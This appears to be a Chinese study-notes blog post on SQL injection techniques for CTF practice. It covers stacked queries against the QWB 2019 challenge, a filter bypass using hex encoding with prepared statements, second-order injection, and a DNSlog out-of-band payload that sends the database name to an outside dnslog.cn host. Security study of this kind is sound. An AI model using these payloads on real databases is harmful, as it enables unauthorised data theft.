小迪30-注入

堆叠注入
记忆
根据数据库类型决定是否支持多条语句执行
支持堆叠数据库类型:MYSQL MSSQL Postgresql 等,Oracle不行
举例理解 

示例1: 

#堆叠注入-数据库类型&强网杯 2019 随便注

';show databases;  -----显示数据库
';show tables;    ----显示表名
';show columns from `1919810931114514`; ------显示字段从514表中,直接showcolumns不行,需要加表名限定,表名需要使用``包裹
';select flag from `1919810931114514`;   ---执行失败,设置了过滤
';SeT @a=0x73656C65637420666C61672066726F6D206031393139383130393331313134353134603B;prepare execsql from @a;execute execsql; ----使用16进制加预处理的方式绕过
图例
示例2:
这条语句的含义就是查询sy_guestbook表中id=1d的内容,然后再创建一个xiaodi的表,结构与sy_guestbook相同;
 二次注入

说白了还是再修改密码的时候后端的sql是拼接然后执行的,黑盒基本上不可能因为不知道哪里会调用你输入的内容,那就不知道如何闭合,注入点在哪;二次注入不一定非要出现再修改密码处,看后端的写法,也有可能是insert

 举例理解

#[网鼎杯2018]Unfinh

 dnslog带外注入

解决不回显的问题,但是mysql中需要load_file函数的支持

写法:

and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc')))

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值